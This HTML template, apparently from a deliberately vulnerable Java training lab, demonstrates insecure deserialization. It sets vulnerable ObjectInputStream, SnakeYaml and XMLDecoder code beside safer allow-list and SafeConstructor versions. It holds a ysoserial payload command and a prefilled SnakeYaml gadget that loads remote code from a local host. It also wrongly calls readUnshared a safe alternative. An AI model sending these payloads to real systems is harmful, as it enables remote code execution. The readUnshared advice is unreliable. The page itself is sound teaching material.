<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:replace="~{commons/commons::head}"></div>

<body>
<!-- 顶部导航栏 -->
<div th:replace="~{commons/commons::topbar}"></div>

<div class="container-fluid">
    <div class="row">
        <!-- 侧边栏 -->
        <div th:replace="~{commons/commons::siderbar(active='deserialize.html')}"></div>

        <main role="main" class="col-md-9 ml-sm-auto col-lg-10 pt-3 px-4">
            <div class="vul_header">
                <span>不安全的反序列化</span>
            </div>
            <hr>
            <ul class="nav nav-tabs">
                <li class="nav-item">
                    <a class="nav-link active" data-toggle="tab" href="#aa"><span class="lnr lnr-bug"></span>
                        漏洞描述</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" data-toggle="tab" href="#bb"><span class="lnr lnr-bullhorn"></span> 安全编码</a>
                </li>
            </ul>

            <div class="tab-content">
                <div class="tab-pane dec shadow-sm p-3 mb-4 rounded active" id="aa">
                    反序列化漏洞，当输入的反序列化的数据可被用户控制，那么攻击者即可通过构造恶意输入，让反序列化产生非预期的对象，在此过程中执行构造的任意代码（多见于第三方组件产生的漏洞）
                </div>
                <div class="tab-pane fade" id="bb">
                    <textarea disabled="disabled" class="form-control shadow-sm p-3 mb-5 rounded" id="coder"
                              style="height: 140px;">
 1. 更新commons-collections、commons-io等第三方库版本。
 2. 不要使用可以执行任意代码的类型进行反序列化。例如，不要使用 ObjectInputStream.readObject 方法进行反序列化，而应该使用安全的反序列化方法，例如 ObjectInputStream.readUnshared 方法。
 3. 对于来源不可信的序列化数据，不要直接进行反序列化，而应该先进行校验，确保它不存在恶意代码。例如，可以对序列化数据的长度、格式进行校验，避免反序列化漏洞的发生。
                    </textarea>
                </div>
            </div>

            <hr>

            <div class="box-float">
                <div class="float1">
                    <a style="float:right" class="btn btn-sm btn-danger" target="_blank"
                       href="/Deserialize/readObject/vul?base64=payload">
                        <svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-bug"> 漏洞代码 - ObjectInputStream</span></h5>

                    <label for="code1"></label><textarea class="form-control" id="code1">
// readObject，读取输入流,并转换对象。ObjectInputStream.readObject() 方法的作用正是从一个源输入流中读取字节序列，再把它们反序列化为一个对象。
// 生成payload：java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64

public String cc(String base64) {
    try {
        base64 = base64.replace(" ", "+");
        byte[] bytes = Base64.getDecoder().decode(base64);

        ByteArrayInputStream stream = new ByteArrayInputStream(bytes);

        // 反序列化流，将序列化的原始数据恢复为对象
        ObjectInputStream in = new ObjectInputStream(stream);
        in.readObject();
        in.close();
        return "反序列化漏洞";
    } catch (Exception e) {
        return e.toString();
    }
}
                    </textarea><br><br>


                    <h5><span class="lnr lnr-bug"> 漏洞代码 - SnakeYaml</span></h5>
                    <form role="search" th:action="@{/Deserialize/yaml/vul}" method="post">
                        <div class="input-group mb-3">
                            <input type="text" class="form-control" name="content"
                                   value="!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:2222']]]]"
                                   style="color: #b5babb">
                            <div class="input-group-append">
                                <button class="btn btn-sm btn-danger" type="submit">
                                    <svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" fill="currentColor"
                                         viewBox="0 0 16 16">
                                        <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                                    </svg>
                                    <span class="align-middle"> Run</span></button>
                            </div>
                        </div>
                    </form>

                    <label for="code2"></label><textarea class="form-control" id="code2">
// 远程服务器支持用户可以输入yaml格式的内容并且进行数据解析，没有做沙箱，黑名单之类的防控

public void yaml(String content) {
    Yaml y = new Yaml();
    y.load(content);
}
                    </textarea><br><br>

                    <a style="float:right" class="btn btn-sm btn-danger" target="_blank"
                       href="/Deserialize/XMLDecoder/vul">
                        <svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-bug"> 漏洞代码 - XMLDecoder</span></h5>

                    <label for="code3"></label><textarea class="form-control" id="code3">
// XMLDecoder在JDK 1.4~JDK 11中都存在反序列化漏洞安全风险。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。在项目中应禁止使用XMLDecoder方式解析XML内容

String path = "src/main/resources/payload/calc-1.xml";
File file = new File(path);
FileInputStream fis = null;
try {
    fis = new FileInputStream(file);
} catch (Exception e) {
    e.printStackTrace();
}

BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xmlDecoder = new XMLDecoder(bis);
xmlDecoder.readObject();
xmlDecoder.close();
                    </textarea><br><br>


                </div>

                <div class="float2">


                    <a style="float:right" class="btn btn-sm btn-success" target="_blank"
                       href="/Deserialize/readObject/safe?base64=payload">
                        <svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-smile"> 安全代码 - 黑白名单</span></h5>
                    <label for="code4"></label><textarea class="form-control" id="code4">
// 使用Apache Commons IO的ValidatingObjectInputStream，accept方法来实现反序列化类白/黑名单控制

public String safe(String base64) {
    try {
        base64 = base64.replace(" ", "+");
        byte[] bytes = Base64.getDecoder().decode(base64);

        ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
        ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);

        // 只允许反序列化Student class
        ois.accept(Student.class);
        ois.readObject();

        return "ValidatingObjectInputStream";
     } catch (Exception e) {
        return e.toString();
}
                    </textarea><br><br>
                    <h5><span class="lnr lnr-smile"> 安全代码 - SnakeYaml</span></h5>
                    <form role="search" th:action="@{/Deserialize/yaml/safe}" method="post">
                        <div class="input-group mb-3">
                            <input type="text" class="form-control" name="content"
                                   value="!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:2222']]]]"
                                   style="color: #b5babb">
                            <div class="input-group-append">
                                <button class="btn btn-sm btn-success" type="submit">
                                    <svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" fill="currentColor"
                                         viewBox="0 0 16 16">
                                        <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                                    </svg>
                                    <span class="align-middle"> Run</span></button>
                            </div>
                        </div>
                    </form>

                    <label for="code5"></label><textarea class="form-control" id="code5">
// SafeConstructor 是 SnakeYaml 提供的一个安全的构造器。它可以用来构造安全的对象，避免反序列化漏洞的发生。

public void safe(String content) {
    Yaml y = new Yaml(new SafeConstructor());
    y.load(content);
    log.info("[safe] SnakeYaml反序列化: " + content);
}
                    </textarea><br><br>

                </div>

            </div>
        </main>
    </div>
</div>

<!-- 引入script -->
<div th:replace="~{commons/commons::script}"></div>


</body>

</html>